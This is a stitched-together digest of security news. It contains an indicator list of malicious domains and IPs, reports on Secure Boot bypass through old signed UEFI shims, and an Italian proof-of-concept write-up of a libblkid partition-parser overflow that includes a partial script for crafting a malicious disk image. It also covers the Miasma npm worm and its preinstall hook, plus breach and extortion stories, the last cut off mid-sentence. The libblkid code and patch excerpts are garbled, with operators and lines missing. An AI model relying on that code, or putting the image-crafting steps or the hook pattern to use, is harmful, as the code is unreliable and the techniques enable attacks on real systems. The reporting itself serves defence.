582ecca146a6aef478706e4b2774d6115a9220a18d1db8f92ee54a5118ecebd9 3a8f464f1f2b5c38173e2a96f95a690af327d85c13c04d37cf0a91893d487bdb 02f5e07dd4c97a3de48cc886f46dad35443f1c221a352630e2c7787806ee21b6 16d35a725819142d2bd5bc0949dc518d344d6f63626a517e67fcba7322eb3844 a71498bfffae8ac694356b3f2436820b396946c9e71c8915e282c1b2fdba4162 d138d5f4fbc77650bc3be1cbf8fbd0ee292aa30eed5feec1ea7ba02e57da932b 44373953431d7570d9585c91377dbe8b6527ccc00662d249f383b003b68b459f 45b9382d7e91a4178b47c908b9b5f6884de7c5a1ef849fbf01d6c23d06d81b88 1eb40363a64e0cad15e340af476d106ccf57ebb6662c1389da1347429ee68c9c fc789397742aee60b01292b071f79b4165981c31aa431eb1577a47c5911381c3 adbee84e9a43949b0a816f052ffb3c0b7855e078b985fea95532158c3b9389bc 0f26e1ba39ddd1f0a7e6f72bd8c4e02a5f0140de72eeda9fe5ab56402821e31e ab7d531d298f0d77bc7bbbdc36f4f8a1732ceca90ff60e3f225a99b9b10f334e ac99754357bd4a69c1de576977e0ee19c7354f29f7f52a9893b7a60f9c2f5248 94aa88ff6222583b2a5b791ddd655837787e31f59483ed91f860857d3399b84a 3ad35ea116b2c0855c13459a04699318b3944762385e8a47144f1d03b48f0bb1 0611c153bf8b8561ef53f2a5ba1413115bdc0e4554e0c22cf9641bd8845db03e 114824bccfafcbb42040f119fdcd3ec48f54eb154ffee6676d06986cba2b0af0 297c53d935c501864e15fe7abcfdafed83df9aafdf241094604ae405529c5eb7 0963c0034a5e0665729d686d50c5375948c4a684c56770adb13d24ff5df8013d 749784fb7846bb3b52dd8c2f660b53d95d5df30387b87b65b584ef9cc781ae52 8495598b1fec814d72caf76f1460b132071bb7305335331fed3bac9876c6e40c 98e17fe36ff77106bbbb9a04f3e00004bf872b88aab22438076966913ea83322 bcd7e5964630c34f06a43e48d696d99d7abae6b679509ad839ffa5179a972838 24f7296ac5ce844678c5f7470eaf64b28e870108ca06851c8f66a27a52003f12 2de964314a8aacc40897140f6fe21d268e24503a69f9821177e31bca7b1e4035 52863d36a216a86b2f90914db2d9229cba7ea317ab5ee9a678cb229087f04611 9d513a419bf129a42017b29eb7d084451a4f34be0828f6871439ec79f7f9b5fb d478f867512e18d839180ceafc980c8fb26c3aa7d1c9e96d054819c81afef6f4 b88a7f3288bdf4b97d75dad4e47e5cb3d4e0962b12674a08e32e5f96e762e877 f4aceaf5c0740093f8040f5e0f29c7582a1bd7ab2bca628d162fb45c29045063 2305ae23ea350e31b05b9f071d315ee60c5a88e96ce11be8ff9db16314a6197c 99b5404df81992cad104dd242bc736d75fd6c58af34dc1a75a8ee3c5e1784fa4 85b5e95cbb5103202abebf8f84b91a286994e61b33ddef53355ab0df2a2b6d9a cff25a9c84c893e32a9a75c1dae385934cf917f709efa11172a53ea2337fa109 154c977a113ff4d94ff2f29f7b93a8d0bd6ad8e67a820c09505117f5d386fd40 67ccc12c0a17dc31388a8c851d076edaaf1213e80398b01d46f5a29b8c7b8b9b e8bc706b0b007d6a122c6b19e87451e550baee793540774db13b9a08803ed76a f32dfbe4a2c11a975d735297bf76f6497ce9f5789ab8eaaef3fdd182c2f1f7b1 c59ebe5cf45935c7b5f91b5936fe2c8a5feb7ca161e40ca4e3fb93e447373fa6 3537bfeaf2c18feafeaf773700a88118fd50979d97f2c42c7e34ba6c9aa62820 2949f0b16b83b35dc8a3dfa11815b9516403e3997e13100e7b86f3bb81f6c283 0e7c96a22e3612c68866a8693cc583df95972d3444978ce163c024a45682133a 7d9f5eb3f704607e6f63681842f48071cc58f2f2e63b16b64a49440cb4b9e6e3 8a64d368ce14c5a1f5e775714bcc02f080d0541360743bb4235e0d640f1787b1 36cf87fe2e29cc8b0fd84fce91d70e62a4c4d2fc5f9650dc37440d629ae61b8f 090e886e5605255ad5708e1f27aecc54319de835abd28853e54182981410707e fa7d8c44a0ecb5ec40832d0d2cfe22c47879317177eae88d178e156f1c8d61a3 d948b486c740b66642a5ae29dc1cb80da703ad40296bcda34a1b27216b63a5cd 612fe3a3ace706725aa5415a1cd1cf18548627b4b40636c5443cb770def30b4c 96488c59287889fcd3b9952ec78b78914fabb901c8b61a7354552439170ed148 Domains: rb[.]aliyuntsl[.]com br[.]team-c2[.]com hwlocal[.]team-hw[.]com br[.]team-hw[.]com data[.]mirrors-inc[.]com team-hw[.]com update[.]team-c2[.]com devops[.]aliyuntsl[.]com bageyi[.]kernel-lib[.]com 8yiu[.]kernel-lib[.]com dnslog[.]kernel-lib[.]com js[.]ai-jquery[.]com api[.]onlinevrgame[.]com file[.]ijjjst23m[.]com kerneltty[.]com 80[.]443[.]team up[.]443[.]team 404[.]443[.]team data[.]windows-update-cdn[.]com microsoft-azure-loadbalance[.]com update[.]aliyun[.]la api[.]gitlab[.]bet github[.]la update[.]opentls2[.]com IPs: 154[.]84[.]62[.]160 154[.]84[.]62[.]128 154[.]84[.]62[.]149 154[.]84[.]62[.]145 15[.]228[.]251[.]82 56[.]124[.]87[.]60 18[.]229[.]255[.]14 18[.]166[.]208[.]57 18[.]228[.]136[.]28 43[.]198[.]248[.]193 43[.]199[.]133[.]195 18[.]166[.]243[.]179 18[.]164[.]116[.]24 13[.]203[.]9[.]172 43[.]198[.]30[.]170 18[.]162[.]210[.]53 56[.]125[.]218[.]234 18[.]228[.]195[.]216 56[.]124[.]49[.]89 54[.]207[.]196[.]189 165[.]22[.]101[.]200 172[.]80[.]8[.]202 104[.]206[.]37[.]134 108[.]187[.]28[.]158 202[.]146[.]222[.]18 192[.]253[.]229[.]23 16[.]162[.]255[.]92 13[.]250[.]18[.]158 18[.]163[.]182[.]231 204[.]16[.]172[.]106 The post Gaming the system: how a Chinese-speaking actor turned Brazilian government sites into an SEO weapon appeared first on Check Point Research .

Cybersecurity researchers have discovered 11 old, Microsoft-signed, Unified Extensible Firmware Interface (UEFI) applications that could be abused to bypass Secure Boot on most systems using the modern firmware standard. "An attacker exploiting one of these vulnerable applications can execute untrusted code during system boot, enabling deployment of malicious UEFI bootkits or other malware," ESET researcher Martin Smolár said in a report published today. The UEFI shim bootloaders expose any UEFI-based machine that trusts Microsoft's "Microsoft Corporation UEFI CA 2011" third-party UEFI certificate authority (CA) certificate, irrespective of the installed operating system. The certificate is used to sign third-party boot components intended to run under Secure Boot. It expired as of June 27, 2026, and has been replaced by Microsoft UEFI CA 2023 and Microsoft Option ROM UEFI CA 2023. The shim is a lightweight, open-source UEFI bootloader that acts as an intermediary between a computer's motherboard firmware and the Linux operating system. Its primary purpose is to allow Linux distributions to boot when Secure Boot is enabled. It's worth noting that the shim itself is signed with a key trusted by the firmware, mostly a Microsoft signature, as its certificates come pre-installed on UEFI-based devices. The sequence proceeds like this: the UEFI firmware loads the shim and validates its signature against the Microsoft CA stored in the firmware. The shim then validates the second-stage bootloader (in most cases, GRUB 2) against its own embedded vendor certificate. GRUB 2 finally validates the kernel using the same vendor certificate. The Slovak cybersecurity company said the outdated-but-trusted shims can be exploited to execute arbitrary code when the system boots up, allowing bad actors to deploy UEFI bootkits like Bootkitty, HybridPetya, or BlackLotus even when Secure Boot protections are enabled. The UEFI bootloaders of the open-source shim project, mainly from version 0.9 and earlier, have since been revoked by Microsoft as part of its June 2026 Patch Tuesday update following responsible disclosure earlier this February. The list of the impacted shim bootloaders is below - Spyrus WTGCreator from UEFI shim loader (0.7 or lower) RedHat RedHat Enterprise Linux (7.2) from UEFI shim loader (0.9) RedHat CentOS (7.2) from UEFI shim loader (0.9) Baramundi software baramundi Management Suite (up to 2024R1) from UEFI shim loader (0.8) WhiteCanyon/Blancco WipeDrive (8.0.0 through 8.1.3) from UEFI shim loader (0.7) Finland's Matriculation Examination Board Abitti 1 (1.0) from UEFI shim loader (0.8) NTC IT ROSA, LLC ROSA Linux (R10, R9) from UEFI shim loader (0.9) Oracle America, Inc. OracleLinux (7.2) from UEFI shim loader (0.9) PC-Doctor, Inc. PC Doctor Service Center (15, 16) from UEFI shim loader (0.9) OpenSuse OpenSuse UEFI Shim loader (0.9) OpenSuse OpenSuse Shim (2.1) from UEFI Shim loader (0.9) A consequence of this loophole is that an attacker could exploit these susceptible shim bootloaders to bypass newer security mechanisms by making use of the bring your own vulnerable driver (BYOVD) attack technique to run arbitrary code during the early boot phase, even before the operating system is initialized. Linux systems also come with a security feature called a Machine Owner Key (MOK) allowlist that lets users authorize unsigned drivers to be loaded while UEFI Secure Boot is active. Although a MOK denylist was introduced in shim version 0.9 as a way to revoke old signing certificates associated with a vulnerable UEFI binary and re-sign patched versions. In this context, an attacker could replace the victim's up-to-date shim with an older Microsoft-signed UEFI shim and bypass MOK denylist enforcement by taking advantage of the fact that the allowlist still trusts the old certificate. This, in turn, could allow an attacker's shim to load vulnerable binaries without restriction and obtain arbitrary code execution. That's not all. The attack also subverts Secure Boot Advanced Targeting (SBAT), which is designed to revoke vulnerable boot components as opposed to maintaining a huge blocklist of individual cryptographic hashes corresponding to each file. Put differently, the mechanism is used to update the minimum acceptable generation whenever a vulnerability is discovered in a boot chain component. If an attempted boot uses an older, vulnerable version, the system blocks it and throws an error. The CERT Coordination Center (CERT/CC), in an advisory issued last month, said the vendor-specific bootloaders have not been updated to address vulnerabilities in the upstream project after they became publicly known and fixed. "As a result, vulnerable bootloaders remained signed and trusted by Secure Boot systems because they had not been revoked through the Microsoft-signed DBX revocation list," it noted. "This created a long-term supply chain exposure in which outdated and vulnerable boot components could still be executed on fully patched systems." The result is that an attacker with administrative privileges or the ability to modify the boot process could abuse one of the above vulnerable shim bootloaders to bypass Secure Boot protections and execute arbitrary code before the operating system loads, paving the way for entrenched persistence that can survive operating system reboots and, in a few cases, its reinstallation. Because all this occurs before the operating system and security products are initialized, malicious code executed through the bootloaders can also sidestep detection by built-in security controls and endpoint detection and response (EDR) solutions. The issues are tracked under the CVE identifiers CVE-2026-8863 and CVE-2026-10797, with the latter referring to a long-patched issue in shim that allowed the certificate-based revocation mechanism to be bypassed by modifying the second-stage bootloader's signature header. ESET has warned that the expiration of the "Microsoft Corporation UEFI CA 2011" certificate has no bearing on the Secure Boot verification process as long as the bootloaders signed with the expired certificate are not explicitly revoked by hash. "What makes these old shims dangerous is not a novel vulnerability, it’s that no new vulnerability is needed to bypass UEFI Secure Boot," ESET said. "An attacker needs no complicated exploitation primitives – only a copy of an old, still-trusted, but unrevoked shim binary and a basic understanding of how UEFI shims work. That is enough to bypass such an essential security feature as UEFI Secure Boot."

Proof of Concept Background: Cos’è libblkid? libblkid è la libreria di probing per partizioni e filesystem al cuore dello stack storage di Linux. È il componente che risponde alla domanda “cosa c’è su questo block device?” — e viene invocata ovunque: inserimento USB → udev → udisks2 → libblkid → “ha una partizione ext4” ↓ automount / mkfs / fsck Ogni volta che Linux processa un nuovo disco — dall’inserimento di una chiavetta USB all’analisi di un’immagine disco di una VM — libblkid legge le tabelle delle partizioni e registra ciò che trova. La vulnerabilità risiede nel parser degli Extended Boot Record (EBR), utilizzato per gli schemi di partizione MBR con più di 4 partizioni. Il Codice Vulnerabile libblkid/src/partitions/dos.c, funzione parse_dos_extended(). Questa funzione viene chiamata per ogni partizione estesa in un layout MBR, percorrendo la catena di EBR che descrivono le partizioni logiche (partizioni 5+). static int parse_dos_extended(blkid_probe pr, blkid_parttable tab, uint32_t ex_start, uint32_t ex_size, uint32_t cur_start, uint32_t cur_size){ /* ... */ for (p = p0, i = 0; i = 2) { /* (3) guard SOLO per i≥2 */ if (start + size > cur_size) continue; if (abs_start ex_start + ex_size) continue; } if (blkid_partlist_get_partition_by_start(ls, abs_start)) continue; par = blkid_partlist_add_partition(ls, tab, abs_start, size); /* SINK */ Tre osservazioni dalla lettura del codice: 1: dos_partition_get_start(p) legge un valore little-endian a 32 bit direttamente dal buffer del disco — completamente controllato dall’attaccante. 2: abs_start = cur_start + start è un’addizione uint32_t non verificata. In C, l’aritmetica su interi senza segno è modulo 2³², quindi se la somma supera 0xFFFFFFFF si azzera silenziosamente — nessuna eccezione, nessun warning, nessun UB. 3: Il blocco if (i >= 2) contiene i bounds check che avrebbero intercettato questo problema — ma si applicano solo alla terza e quarta entry dell’EBR. Le prime due entry (la partizione dati e il puntatore al prossimo EBR) vengono elaborate senza alcun controllo. La Matematica Impostando cur_start = 2 (il settore EBR, un valore legittimo comune) e artefando la prima entry dell’EBR con lba_start = 0xFFFFFFFE: abs_start = (uint32_t)(cur_start + start) = (uint32_t)(2 + 0xFFFFFFFE) = (uint32_t)(0x100000000) ← supera il range uint32 = 0x00000000 ← wrap al settore 0 dell'MBR Il valore 0x00000000 viene passato a blkid_partlist_add_partition() come inizio della partizione. libblkid ora ritiene che esista una partizione da 128 KB che inizia al primo settore del disco — l’MBR. Costruzione dell’Immagine Artefatta L’immagine disco artefatta è un file da 4 KB. L’MBR all’offset 0 contiene una entry di partizione estesa standard che punta al settore 2. L’EBR al settore 2 contiene una entry di partizione con lba_start = 0xFFFFFFFE e lba_size = 0x100. import struct, sysdef write_le32(val): return struct.pack(' UINT32_MAX - cur_start) { DBG(LOWPROBE, ul_debug("#%d: EBR start overflow -- ignore", i + 1)); continue;} Il maintainer upstream Karel Zak ha accettato la segnalazione ma ha implementato un fix significativamente più robusto che affronta la causa radice in modo più completo. La sua analisi ha correttamente identificato che il problema non era soltanto l’overflow aritmetico, ma l’assenza totale di una validazione corretta dei bounds per le entry EBR — il codice era debole nel non garantire che i dati EBR rimanessero all’interno dell’area della partizione estesa master. Il fix upstream (firmato da Karel Zak, Reported-by: Michele Piccinni) affronta tre problemi distinti: Fix 1 — Aritmetica a 64 bit elimina il wraparound alla radice Invece di un guard preventivo, l’addizione viene promossa a uint64_t, rendendo fisicamente impossibile l’overflow: uint64_t ex_end = (uint64_t) ex_start + ex_size; /* nuovo: boundary area */...uint64_t abs = (uint64_t) cur_start + start; /* nuovo: addizione 64-bit */abs_start = (uint32_t) abs; /* cast sicuro dopo validazione */(uint64_t)(2 + 0xFFFFFFFE) = 0x100000000 — nessun wraparound. Il valore viene poi validato prima di essere troncato di nuovo a uint32_t. Fix 2 — Bounds check unificato per TUTTE le entry EBR Il codice originale applicava i bounds check solo per gli indici di loop i >= 2. Le entry i=0 e i=1 venivano elaborate senza alcuna validazione. Il fix applica un unico bounds check a tutte e quattro le entry in modo uniforme: /* la partizione dati deve essere all'interno dell'area estesa — per TUTTI i */if (abs ex_end) { DBG(LOWPROBE, ul_debug("#%d: EBR data partition outside " "extended -- ignore", i + 1)); continue;} Questa è la soluzione architetturalmente corretta: qualsiasi partizione dati EBR, per definizione, deve risiedere all’interno dei confini della partizione estesa master. La precedente distinzione i >= 2 era logicamente ingiustificata. Fix 3 — Validazione della chain EBR Il fix rafforza anche l’attraversamento della chain EBR (il processamento del puntatore al prossimo EBR), impedendo link all’indietro e navigazione fuori dai limiti: uint64_t next = (uint64_t) ex_start + start;if (next + size > ex_end) { DBG(LOWPROBE, ul_debug("EBR link outside extended area -- leave")); goto leave;}if (next ex_end) {+ DBG(LOWPROBE, ul_debug("#%d: EBR data partition outside "+ "extended -- ignore", i + 1));+ continue;+ }+ abs_start = (uint32_t) abs;+ if (i >= 2) { if (start + size > cur_size) continue;- if (abs_start ex_start + ex_size)- continue; }@@ -142,8 +150,22 @@ static int parse_dos_extended(blkid_probe pr, blkid_parttable tab, if (i == 4) goto leave;- cur_start = ex_start + start;- cur_size = size;+ {+ uint64_t next = (uint64_t) ex_start + start;++ if (next + size > ex_end) {+ DBG(LOWPROBE, ul_debug("EBR link outside "+ "extended area -- leave"));+ goto leave;+ }+ if (next = 2 esiste come ulteriore sanity check per i casi anomali; non era mai stato pensato come confine di sicurezza per le prime due entry. Una Vulnerabilità Presente da 17 Anni Uno degli aspetti più significativi di questo finding è la sua longevità. Il file dos.c che contiene parse_dos_extended() reca nel copyright header: Copyright (C) 2009 Karel Zak Il codice vulnerabile — l’addizione uint32_t senza overflow guard alla riga 96 — è presente sin dalla prima scrittura del file nel 2009, quando Karel Zak estese libblkid per supportare il probing delle tabelle delle partizioni in util-linux-ng 2.17. La vulnerabilità è sopravvissuta intatta per 17 anni attraverso decine di release, centinaia di commit e un’intera generazione di aggiornamenti di distribuzione. Nel 2016, CVE-2016-5011 aveva già portato attenzione proprio su parse_dos_extended(), identificando un bug di loop infinito nella stessa funzione. Quel fix ha aggiunto un check per i duplicati (riga 112), ma non ha toccato il codice di addizione aritmetica a riga 96. Due bug distinti, stessa funzione, a 7 anni di distanza. Perché è sopravvissuta così a lungo? La risposta è nella natura stessa del bug: l’overflow uint32_t è comportamento definito in C (standard ISO/IEC 9899:2018 §6.2.5). Non è undefined behaviour, non è un errore di compilazione, non è un warning con -Wall o -fanalyzer. Il codice è sintatticamente corretto, semanticamente sbagliato. Solo un checker taint-aware come Coverity o Clang alpha.security.taint — strumenti non tipicamente integrati nelle CI pipeline dei progetti open source — riesce a tracciare il percorso da un byte letto dal disco fino al suo utilizzo come indice critico senza sanitizzazione. Questa combinazione, vecchio codice, bug definito ma semanticamente errato, assenza di strumenti taint-aware nella CI, è esattamente il profilo delle vulnerabilità che rimangono nascoste per decenni in componenti critici di infrastruttura.

Rilevata vulnerabilità in componenti UEFI shim Alert AL11/260610/CSIRT-ITA Sintesi Rilevata una vulnerabilità di sicurezza con gravità “alta” in componenti UEFI shim utilizzati da diversi prodotti software e ambienti di avvio, firmati tramite la catena di certificazione Microsoft UEFI. Tale vulnerabilità, qualora sfruttata, potrebbe consentire ad un utente malintenzionato di eludere i meccanismi di protezione Secure Boot ed eseguire codice arbitrario nella fase di avvio dei sistemi interessati. Tipologia Security Feature Bypass Arbitrary Code Execution Prodotti e/o versioni affette OracleLinux (7.2) RedHat Linux RosaLinux Spyrus WTGCreator PC-Doctor Service Center Blancco UK WhiteCanyon WipeDrive Baramundi Management Suite Finland Matriculation Board Abitti N.B. per maggiori dettagli sui prodotti interessati consultare i bollettini di sicurezza disponibili nella sezione Riferimenti. Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni dei bollettini di sicurezza riportati nella sezione Riferimenti.

Red Hat npm packages compromised in new Mini Shai-Hulud malware wave Unknown attackers have compromised 30+ Red Hat Cloud Services npm packages with malware that goes after credentials stored in developers’ build environment. What the malware stole and how it can spread further The compromised packages were published in two different GitHub source repositories on June 1, 2026, between 10:53 and 10:53:33 UTC and 13:44 and 13:46:47 UTC. According to Wiz Security, a specific Red Hat employee GitHub account was compromised and “pushed malicious orphan commits to two RedHatInsights repositories, bypassing code review.” It’s currently unknown how the employee’s GitHub account was compromised. “The malware operates via a preinstall lifecycle hook that executes a 4.2 MB obfuscated JavaScript payload during npm install, before any application code runs,” Orca researchers explained. It searchers for and exfiltrates AWS, GCP and Azure keys, tokesn and credentials, GitHub Actions tokens, HashiCorp Vault tokens, Kubernetes credentials and configuration files, SSH private keys, npm and PyPI publish tokens, and more. The malicious payload seems to be a new version of TeamPCP’s Mini Shai-Hulud malware, which was used by the threat actors in previous supply chain attacks and open-sourced by them in May 2026. “Using harvested npm authentication tokens, the payload attempts to publish new backdoored versions of packages the victim account has access to. Critically, it uses npm’s bypass_2fa publish parameter to override two-factor authentication requirements,” StepSecurity researchers noted. “This capability is available to automation tokens and is used here to make the worm self-propagating even against accounts with 2FA enabled. Each successfully infected machine can autonomously seed the next wave of compromised packages without any further attacker involvement.” According to Wiz researchers, this new variant has been equipped with new data collectors for cloud identities, and generates a uniquely encrypted payload for each infection. “This variant creates repositories containing the description Miasma: The Spreading Blight,” they added. Whether this attack was the work of TeamPCP or copycat attackers is also currently unknown. Red Hat’s response and recommended actions Red Hat removed most of the infected packages from the npm registry within two hours of publication, and said that “the packages are strictly limited to internal development, and the malicious code was never published for customer consumption via the console.redhat.com system.” There’s currently no evidence of the attack having had an impact on customer or partner environments or Red Hat production systems, they added. But developers and organizations that have installed one or more of the compromised package versions must do damage control. Wiz researchers advise: Investigating developer workstations, CI/CD environments, and repositories for signs of compromise Auditing systems for the affected packages, GitHub Actions, and VSCode extensions Reviewing GitHub activity for unauthorized repositories, newly created access tokens, or suspicious workflow executions Rotating all keys, credentials and tokens that may have been accessed and harvested “Finally, organizations should strengthen software supply chain defenses by implementing dependency allowlisting, SBOM generation, package verification, and improved monitoring of developer and build environments,” they added. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

More than 30 npm packages under Red Hat's '@redhat-cloud-services' namespace were compromised in a supply-chain attack that distributed a new variant of the Shai-Hulud credential-stealing malware, dubbed "Miasma." The incident was discovered by security firms Aikido and OX Security, which found dozens of package versions backdoored with malware designed to steal developer credentials, cloud secrets, SSH keys, CI/CD tokens, and other sensitive information. According to Aikido, the compromised packages receive roughly 117,000 weekly downloads. In a statement shared with BleepingComputer, Red Hat said it removed the affected packages after becoming aware of the incident and that the compromise was limited to internal development tooling. "Red Hat is aware of security reports regarding certain npm packages within our development tooling ecosystem. We immediately initiated an investigation and removed the packages from the npm registry," Red Hat told BleepingComputer. "The packages are strictly limited to internal development, and the malicious code was never published for customer consumption via the console.redhat.com system. While our investigation is ongoing, we have not identified any impact to customer or partner environments or Red Hat production systems." The company says it is continuing to investigate the incident, but did not answer our questions about how the account was compromised. Red Hat packages backdoored through GitHub compromise According to Aikido, the attackers allegedly compromised a Red Hat employee's GitHub account and used it to push malicious commits directly to multiple repositories. Those commits added a GitHub Actions workflow and a script that abused npm's publishing mechanism to release backdoored packages. "When the workflow runs, it installs Bun and executes _index.js, passing it a list of target packages via the OIDC_PACKAGES environment variable," explains Aikido. "The script uses the id-token: write permission to request a short-lived OIDC token from GitHub, then uses that token to authenticate directly with npm's trusted publishing endpoint and publish backdoored versions of every package in the list." These compromised packages contained a malicious 'preinstall script that automatically executed a heavily obfuscated malicious index.js file when developers installed the packages. "scripts": { "preinstall": "node index.js" } According to Aikido, the 'index.js' payload was approximately 4.2 MB in size, and is used to steal GitHub Actions secrets, AWS credentials, Google Cloud credentials, Azure service principal credentials, HashiCorp Vault tokens, Kubernetes service account tokens, npm and PyPI publishing tokens, SSH keys, Docker credentials, GPG keys, and .env files. Aikido says 32 packages and 96 package versions were affected by the compromise, including numerous client libraries maintained under the @redhat-cloud-services namespace. Organizations that installed any affected versions are advised to rotate all credentials, secrets, and tokens utilized by code on the infected device immediately. Miasma appears to be a new Shai-Hulud variant Over the past couple of months, there have been numerous supply chain attacks utilizing a Shai-Hulud malware to steal credentials and spread to other projects. These attacks have impacted well-known projects, including Bitwarden, SAP, Mistral, TanStack, OpenAI, and GitHub. In May, the TeamPCP threat group publicly released the source code for its Mini Shai-Hulud malware framework, making the malware available to other threat actors. Researchers say the malware used in the Red Hat compromise shares many similarities with Mini Shai-Hulud, but now utilizes the "Miasma: The Spreading Blight" string as comments in compromised GitHub repositories. While the malware resembles TeamPCP's Mini Shai-Hulud, it is unclear whether the campaign was conducted by that threat actor or by another threat actor that modified the leaked malware source code. OX Security says the malware retains the same credential-stealing functionality as Mini Shai-Hulud but adds additional obfuscation layers, multi-stage payload delivery mechanisms, and enhanced data theft and credential-harvesting features. At the time of this writing, 309 GitHub repositories have been compromised by the Miasma malware campaign. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Japanese car maker Nissan has disclosed the impact of a data breach involving a self-managed GitLab instance used by the Red Hat Consulting team. The incident leading to the Nissan data breach occurred in late September and involved unauthorized access to a GitLab instance containing example code snippets, internal communications, and project specifications. A hacking group named Crimson Collective attempted to extort Red Hat, claiming the theft of 570 Gb of compressed data from 28,000 private repositories, including information that allegedly provided access to Red Hat customers’ infrastructure. Nissan now says that some of the data stolen from Red Hat’s instances included personal information of 21,000 customers of Nissan Fukuoka Sales (previously Fukuoka Nissan Motor). The personal information, the car maker says, includes names, addresses, phone numbers, partial email addresses, and information used for sales activities. No credit card data was stolen, and no other customer information was stored in the compromised repository, Nissan says. The company says that Red Hat notified it of the incident on October 3, roughly a week after the attack occurred. “Nissan received a report from RedHat, which had outsourced the development of a customer management system for a sales company, that it had unauthorized access to its data servers and leaked data,” an automated translation of Nissan’s incident notice reads. The Japanese company says it has reported the incident to the relevant authorities, and has been notifying the individuals impacted by the data breach. Nissan also notes that it could not confirm reports that the stolen information might have been “used twice” by the threat actors. Related: 3.5 Million Affected by University of Phoenix Data Breach Related: University of Sydney Data Breach Affects 27,000 Individuals Related: 113,000 Impacted by Data Breach at Virginia Mental Health Authority Related: 700Credit Data Breach Impacts 5.8 Million Individuals

A cybercriminal group that used voice phishing attacks to siphon more than a billion records from Salesforce customers earlier this year has launched a website that threatens to publish data stolen from dozens of Fortune 500 firms if they refuse to pay a ransom. The group also claimed responsibility for a recent breach involving Discord user data, and for stealing terabytes of sensitive files from thousands of customers of the enterprise software maker Red Hat. In May 2025, a prolific and amorphous English-speaking cybercrime group known as ShinyHunters launched a social engineering campaign that used voice phishing to trick targets into connecting a malicious app to their organization’s Salesforce portal. The first real details about the incident came in early June, when the Google Threat Intelligence Group (GTIG) warned that ShinyHunters — tracked by Google as UNC6040 — was extorting victims over their stolen Salesforce data, and that the group was poised to launch a data leak site to publicly shame victim companies into paying a ransom to keep their records private. A month later, Google acknowledged that one of its own corporate Salesforce instances was impacted in the voice phishing campaign. Last week, a new victim shaming blog dubbed “Scattered LAPSUS$ Hunters” began publishing the names of companies that had customer Salesforce data stolen as a result of the May voice phishing campaign. “Contact us to negotiate this ransom or all your customers data will be leaked,” the website stated in a message to Salesforce. “If we come to a resolution all individual extortions against your customers will be withdrawn from. Nobody else will have to pay us, if you pay, Salesforce, Inc.” Below that message were more than three dozen entries for companies that allegedly had Salesforce data stolen, including Toyota, FedEx, Disney/Hulu, and UPS. The entries for each company specified the volume of stolen data available, as well as the date that the information was retrieved (the stated breach dates range between May and September 2025). On October 5, the Scattered LAPSUS$ Hunters victim shaming and extortion blog announced that the group was responsible for a breach in September involving a GitLab server used by Red Hat that contained more than 28,000 Git code repositories, including more than 5,000 Customer Engagement Reports (CERs). “Alot of folders have their client’s secrets such as artifactory access tokens, git tokens, azure, docker (redhat docker, azure containers, dockerhub), their client’s infrastructure details in the CERs like the audits that were done for them, and a whole LOT more, etc.,” the hackers claimed. Their claims came several days after a previously unknown hacker group calling itself the Crimson Collective took credit for the Red Hat intrusion on Telegram. Red Hat disclosed on October 2 that attackers had compromised a company GitLab server, and said it was in the process of notifying affected customers. “The compromised GitLab instance housed consulting engagement data, which may include, for example, Red Hat’s project specifications, example code snippets, internal communications about consulting services, and limited forms of business contact information,” Red Hat wrote. Separately, Discord has started emailing users affected by another breach claimed by ShinyHunters. Discord said an incident on September 20 at a “third-party customer service provider” impacted a “limited number of users” who communicated with Discord customer support or Trust & Safety teams. The information included Discord usernames, emails, IP address, the last four digits of any stored payment cards, and government ID images submitted during age verification appeals. The Scattered Lapsus$ Hunters claim they will publish data stolen from Salesforce and its customers if ransom demands aren’t paid by October 10. The group also claims it will soon begin extorting hundreds more organizations that lost data in August after a cybercrime group stole vast amounts of authentication tokens from Salesloft, whose AI chatbot is used by many corporate websites to convert customer interaction into Salesforce leads. In a communication sent to customers today, Salesforce emphasized that the theft of any third-party Salesloft data allegedly stolen by ShinyHunters did not originate from a vulnerability within the core Salesforce platform. The company also stressed that it has no plans to meet any extortion demands. “Salesforce will not engage, negotiate with, or pay any extortion demand,” the message to customers read. “Our focus is, and remains, on defending our environment, conducting thorough forensic analysis, supporting our customers, and working with law enforcement and regulatory authorities.” The GTIG tracked the group behind the Salesloft data thefts as UNC6395, and says the group has been observed harvesting the data for authentication tokens tied to a range of cloud services like Snowflake and Amazon’s AWS. Google catalogs Scattered Lapsus$ Hunters by so many UNC names (throw in UNC6240 for good measure) because it is thought to be an amalgamation of three hacking groups — Scattered Spider, Lapsus$ and ShinyHunters. The members of these groups hail from many of the same chat channels on the Com, a mostly English-language cybercriminal community that operates across an ocean of Telegram and Discord servers. The Scattered Lapsus$ Hunters darknet blog is currently offline. The outage appears to have coincided with the disappearance of the group’s new clearnet blog — breachforums[.]hn — which vanished after shifting its Domain Name Service (DNS) servers from DDoS-Guard to Cloudflare. But before it died, the websites disclosed that hackers were exploiting a critical zero-day vulnerability in Oracle’s E-Business Suite software. Oracle has since confirmed that a security flaw tracked as CVE-2025-61882 allows attackers to perform unauthenticated remote code execution, and is urging customers to apply an emergency update to address the weakness. Mandiant’s Charles Carmakal shared on LinkedIn that CVE-2025-61882 was initially exploited in August 2025 by the Clop ransomware gang to steal data from Oracle E-Business Suite servers. Bleeping Computer writes that news of the Oracle zero-day first surfaced on the Scattered Lapsus$ Hunters blog, which published a pair of scripts that were used to exploit vulnerable Oracle E-Business Suite instances. On Monday evening, KrebsOnSecurity received a malware-laced message from a reader that threatened physical violence unless their unstated demands were met. The missive, titled “Shiny hunters,” contained the hashtag $LAPSU$$SCATEREDHUNTER, and urged me to visit a page on limewire[.]com to view their demands. KrebsOnSecurity did not visit this link, but instead forwarded it to Mandiant, which confirmed that similar menacing missives were sent to employees at Mandiant and other security firms around the same time. The link in the message fetches a malicious trojan disguised as a Windows screensaver file (Virustotal’s analysis on this malware is here). Simply viewing the booby-trapped screensaver on a Windows PC is enough to cause the bundled trojan to launch in the background. Mandiant’s Austin Larsen said the trojan is a commercially available backdoor known as ASYNCRAT, a .NET-based backdoor that communicates using a custom binary protocol over TCP, and can execute shell commands and download plugins to extend its features. “Downloaded plugins may be executed directly in memory or stored in the registry,” Larsen wrote in an analysis shared via email. “Capabilities added via plugins include screenshot capture, file transfer, keylogging, video capture, and cryptocurrency mining. ASYNCRAT also supports a plugin that targets credentials stored by Firefox and 